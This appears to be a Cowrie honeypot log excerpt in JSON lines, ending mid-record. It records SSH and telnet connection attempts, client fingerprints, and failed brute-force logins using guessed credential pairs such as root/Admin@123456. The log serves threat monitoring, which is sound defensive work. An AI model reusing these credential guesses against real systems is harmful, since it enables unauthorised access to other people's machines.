{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:06.592415Z","src_ip":"141.11.88.14","session":"6dc005009987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:07.793895Z","src_ip":"141.11.88.14","session":"6dc005009987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.19073033332825,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:08.837668Z","src_ip":"94.23.66.112","session":"63506294b609","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:08.880428Z","src_ip":"141.11.88.14","session":"6dc005009987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":58082,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ce6298b0373","protocol":"telnet","message":"New connection: 94.23.66.112:58082 (10.17.0.5:23) [session: 2ce6298b0373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:11.092507Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":23936,"dst_ip":"10.17.0.5","dst_port":22,"session":"845a79566c88","protocol":"ssh","message":"New connection: 141.11.88.14:23936 (10.17.0.5:22) [session: 845a79566c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:15.009682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:15.048090Z","src_ip":"141.11.88.14","session":"845a79566c88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:15.139572Z","src_ip":"141.11.88.14","session":"845a79566c88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucas","password":"lucas","message":"login attempt [lucas/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:15.513805Z","src_ip":"141.11.88.14","session":"845a79566c88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:16.620597Z","src_ip":"141.11.88.14","session":"845a79566c88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":64048,"dst_ip":"10.17.0.5","dst_port":22,"session":"67aa91daa052","protocol":"ssh","message":"New connection: 141.11.88.14:64048 (10.17.0.5:22) [session: 67aa91daa052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:21.275925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:21.293285Z","src_ip":"141.11.88.14","session":"67aa91daa052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:21.536052Z","src_ip":"141.11.88.14","session":"67aa91daa052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:21.962062Z","src_ip":"141.11.88.14","session":"67aa91daa052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:23.062198Z","src_ip":"141.11.88.14","session":"67aa91daa052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":44192,"dst_ip":"10.17.0.5","dst_port":22,"session":"910197dcb005","protocol":"ssh","message":"New connection: 77.94.47.83:44192 (10.17.0.5:22) [session: 910197dcb005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:28.857074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:28.863323Z","src_ip":"77.94.47.83","session":"910197dcb005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:28.973478Z","src_ip":"77.94.47.83","session":"910197dcb005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":10916,"dst_ip":"10.17.0.5","dst_port":22,"session":"187a0a84a9fa","protocol":"ssh","message":"New connection: 141.11.88.14:10916 (10.17.0.5:22) [session: 187a0a84a9fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:29.238099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:29.279132Z","src_ip":"141.11.88.14","session":"187a0a84a9fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ltdeirf","message":"login attempt [root/ltdeirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:29.297379Z","src_ip":"77.94.47.83","session":"910197dcb005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:29.390768Z","src_ip":"141.11.88.14","session":"187a0a84a9fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:29.718028Z","src_ip":"141.11.88.14","session":"187a0a84a9fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:30.406801Z","src_ip":"77.94.47.83","session":"910197dcb005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:30.808200Z","src_ip":"141.11.88.14","session":"187a0a84a9fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":10992,"dst_ip":"10.17.0.5","dst_port":22,"session":"232e1a8bbf81","protocol":"ssh","message":"New connection: 141.11.88.14:10992 (10.17.0.5:22) [session: 232e1a8bbf81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:36.825725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:36.903893Z","src_ip":"141.11.88.14","session":"232e1a8bbf81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:36.969225Z","src_ip":"141.11.88.14","session":"232e1a8bbf81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:37.447972Z","src_ip":"141.11.88.14","session":"232e1a8bbf81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:38.625726Z","src_ip":"141.11.88.14","session":"232e1a8bbf81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":60986,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bdbd864a7a0","protocol":"ssh","message":"New connection: 160.191.244.158:60986 (159.203.135.109:22) [session: 5bdbd864a7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:40.335836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:40.341239Z","src_ip":"160.191.244.158","session":"5bdbd864a7a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:40.572494Z","src_ip":"160.191.244.158","session":"5bdbd864a7a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ldapadmin","password":"ldapadmin123","message":"login attempt [ldapadmin/ldapadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:41.523267Z","src_ip":"160.191.244.158","session":"5bdbd864a7a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:42.758940Z","src_ip":"160.191.244.158","session":"5bdbd864a7a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":18794,"dst_ip":"10.17.0.5","dst_port":22,"session":"17dbedb27f3e","protocol":"ssh","message":"New connection: 141.11.88.14:18794 (10.17.0.5:22) [session: 17dbedb27f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:43.808904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:44.065615Z","src_ip":"141.11.88.14","session":"17dbedb27f3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:44.068853Z","src_ip":"141.11.88.14","session":"17dbedb27f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"1","message":"login attempt [root1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:45.009212Z","src_ip":"141.11.88.14","session":"17dbedb27f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:46.350240Z","src_ip":"141.11.88.14","session":"17dbedb27f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27548,"dst_ip":"10.17.0.5","dst_port":22,"session":"190013d3ce8f","protocol":"ssh","message":"New connection: 141.11.88.14:27548 (10.17.0.5:22) [session: 190013d3ce8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:52.026406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:52.102228Z","src_ip":"141.11.88.14","session":"190013d3ce8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v0